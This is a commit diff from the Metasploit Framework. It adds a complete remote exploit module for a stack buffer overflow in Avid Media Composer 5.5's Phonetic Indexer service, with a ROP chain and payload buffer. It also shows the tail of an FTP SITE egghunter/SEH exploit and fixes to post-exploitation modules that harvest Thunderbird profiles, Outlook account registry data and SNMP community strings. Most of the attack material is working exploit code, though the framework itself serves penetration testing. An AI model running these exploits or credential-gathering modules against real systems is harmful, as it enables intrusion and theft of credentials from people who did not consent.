||||
:eggtag => "W00T"
|
||||
}
|
||||
|
||||
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
|
||||
|
||||
|
||||
buffer = "chmod 777 "
|
||||
buffer << make_nops(target['Offset'] - egg.length - hunter.length)
|
||||
buffer << egg
|
||||
buffer << hunter
|
||||
buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
|
||||
buffer << [target.ret].pack('V') #seh
|
||||
buffer << rand_text(5000)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
send_cmd( ['SITE', buffer] , false)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in process
|
||||
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
|
||||
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
|
||||
it standalone it will run on port 4660.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'vt [nick.freeman@security-assessment.com]',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '77376'],
|
||||
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1012,
|
||||
'BadChars' => "\x00\x09\x0a\x0d\x20",
|
||||
'DisableNops' => true,
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'EAX',
|
||||
}
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows XP Professional SP3',
|
||||
{
|
||||
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 29 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(4659),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
rop_gadgets = [
|
||||
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
|
||||
# a non-sayonara ROP would be super easy too, I'm just lazy :)
|
||||
0x7C344CC1, # pop eax;ret;
|
||||
0x7C3410C2, # pop ecx;pop ecx;ret;
|
||||
0x7C342462, # xor chain; call eax {0x7C3410C2}
|
||||
0x7C38C510, # writeable location for lpflOldProtect
|
||||
0x7C365645, # pop esi;ret;
|
||||
0x7C345243, # ret;
|
||||
0x7C348F46, # pop ebp;ret;
|
||||
0x7C3487EC, # call eax
|
||||
0x7C344CC1, # pop eax;ret;
|
||||
0xfffffbfc, # {size}
|
||||
0x7C34D749, # neg eax;ret; {adjust size}
|
||||
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
|
||||
0x7C3439FA, # pop edx;ret;
|
||||
0xFFFFFFC0, # {flag}
|
||||
0x7C351EB1, # neg edx;ret; {adjust flag}
|
||||
0x7C354648, # pop edi;ret;
|
||||
0x7C3530EA, # mov eax,[eax];ret;
|
||||
0x7C344CC1, # pop eax;ret;
|
||||
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
|
||||
0x7C355AEB, # sub eax,30;ret;
|
||||
0x7C378C81, # pushad; add al,0xef; ret;
|
||||
0x7C36683F, # push esp;ret;
|
||||
].pack("V*")
|
||||
|
||||
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
|
||||
bufregfix = "\x8b\xc4" # MOV EAX,ESP
|
||||
bufregfix += "\x83\xc0\x10" # ADD EAX,10
|
||||
|
||||
connect
|
||||
sploit = ''
|
||||
sploit << rand_text_alpha_upper(216)
|
||||
sploit << [target.ret].pack('V*')
|
||||
sploit << "A"*732 #This avoids a busted LoadLibrary
|
||||
sploit << rop_gadgets
|
||||
sploit << bufregfix
|
||||
sploit << "\xeb\x09"
|
||||
sploit << rand_text_alpha_upper(9)
|
||||
sploit << payload.encoded
|
||||
sock.put(sploit)
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -202,3 +202,4 @@ Invalid exception stack at 41414141
|
|||
00ccffe0 d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00 ...|0..|........
|
||||
|
||||
=end
|
||||
|
||||
|
|
|
@ -56,18 +56,11 @@ class Metasploit3 < Msf::Post
|
|||
base = "/Users/#{user}/Library/Thunderbird/Profiles/"
|
||||
when /win/
|
||||
if session.type =~ /meterpreter/
|
||||
user_profile = session.fs.file.expand_path("%USERPROFILE%")
|
||||
user_profile = session.fs.file.expand_path("%APPDATA%")
|
||||
else
|
||||
user_profile = cmd_exec("echo %USERPROFILE%").strip
|
||||
end
|
||||
|
||||
if user_profile =~ /^C:\\Users\\/
|
||||
# Windows Vista or newer
|
||||
base = user_profile + '\\AppData\\Roaming\\Thunderbird\\Profiles\\'
|
||||
else
|
||||
# Windows XP
|
||||
base = user_profile + '\\Application Data\\Thunderbird\\Profiles\\'
|
||||
user_profile = cmd_exec("echo %APPDATA%").strip
|
||||
end
|
||||
base = user_profile + "\\Thunderbird\\Profiles\\"
|
||||
end
|
||||
|
||||
# Now we have the path for Thunderbird, we still need to enumerate its
|
||||
|
|
|
@ -92,3 +92,4 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -84,8 +84,8 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Just a wrapper to avoid copy pasta and long lines
|
||||
def get_valdata(k, name)
|
||||
key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||
registry_getvaldata("#{key_base}\\#{k}", name)
|
||||
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||
registry_getvaldata("#{@key_base}\\#{k}", name)
|
||||
end
|
||||
|
||||
def get_registry
|
||||
|
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
print_status "Microsoft Outlook found in Registry..."
|
||||
outlook_exists = 1
|
||||
registry_enumkeys(key_base + "9375CFF0413111d3B88A00104B2A6676\\").each do |k|
|
||||
registry_enumkeys(@key_base).each do |k|
|
||||
display_name = get_valdata(k, 'Display Name')
|
||||
|
||||
if display_name == nil
|
||||
|
|
|
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Enumerating community strings")
|
||||
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
|
||||
comm_str = registry_enumvals(key)
|
||||
if not comm_str.empty?
|
||||
if not comm_str.nil? and not comm_str.empty?
|
||||
comm_str.each do |c|
|
||||
|
||||
case registry_getvaldata(key,c)
|
||||
|
@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Enumerating Trap Configuration")
|
||||
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\TrapConfiguration"
|
||||
trap_hosts = registry_enumkeys(key)
|
||||
if not trap_hosts.empty?
|
||||
if not trap_hosts.nil? and not trap_hosts.empty?
|
||||
trap_hosts.each do |c|
|
||||
print_status("Community Name: #{c}")
|
||||
session.framework.db.report_auth_info(
|
||||
|
@ -149,7 +149,7 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Enumerating Permitted Managers for Community Strings")
|
||||
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\PermittedManagers"
|
||||
managers = registry_enumvals(key)
|
||||
if not managers.empty?
|
||||
if not managers.nil? and not managers.empty?
|
||||
print_status("Community Strings can be accessed from:")
|
||||
managers.each do |m|
|
||||
print_status("\t#{registry_getvaldata(key,m)}")
|
||||
|
|
|
@ -92,8 +92,22 @@ client.railgun.add_function( 'netapi32', 'NetUserEnum', 'DWORD',[
|
|||
|
||||
=end
|
||||
|
||||
client.railgun.add_function( 'netapi32', 'NetServerEnum', 'DWORD',[["PBLOB","servername","in"],["DWORD","level","in"],["PDWORD","bufptr","out"],["DWORD","prefmaxlen","in"],["PDWORD","entriesread","out"],["PDWORD","totalentries","out"],["DWORD","servertype","in"],["PWCHAR","domain","in"],["DWORD","resume_handle","inout"]])
|
||||
client.railgun.add_function( 'ws2_32', 'getaddrinfo', 'DWORD',[["PCHAR","pNodeName","in"],["PCHAR","pServiceName","in"],["PDWORD","pHints","in"],["PDWORD","ppResult","out"]])
|
||||
client.railgun.add_function(
|
||||
'netapi32', 'NetServerEnum', 'DWORD',
|
||||
[
|
||||
["PBLOB","servername","in"], ["DWORD","level","in"], ["PDWORD","bufptr","out"],
|
||||
["DWORD","prefmaxlen","in"], ["PDWORD","entriesread","out"], ["PDWORD","totalentries","out"],
|
||||
["DWORD","servertype","in"], ["PWCHAR","domain","in"], ["DWORD","resume_handle","inout"]
|
||||
]
|
||||
)
|
||||
|
||||
client.railgun.add_function(
|
||||
'ws2_32', 'getaddrinfo', 'DWORD',
|
||||
[
|
||||
["PCHAR","pNodeName","in"], ["PCHAR","pServiceName","in"],
|
||||
["PDWORD","pHints","in"], ["PDWORD","ppResult","out"]
|
||||
]
|
||||
)
|
||||
|
||||
domain = nil
|
||||
|
||||
|
|
|
@ -103,7 +103,7 @@ def check_single_file(dparts, fparts, f_rel)
|
|||
cr += 1 if ln =~ /\r$/
|
||||
url_ok = false if ln =~ /\.com\/projects\/Framework/
|
||||
if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/
|
||||
if not ln =~ /[\"\'][wra]b\+?[\"\']/
|
||||
if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/
|
||||
nbo += 1
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue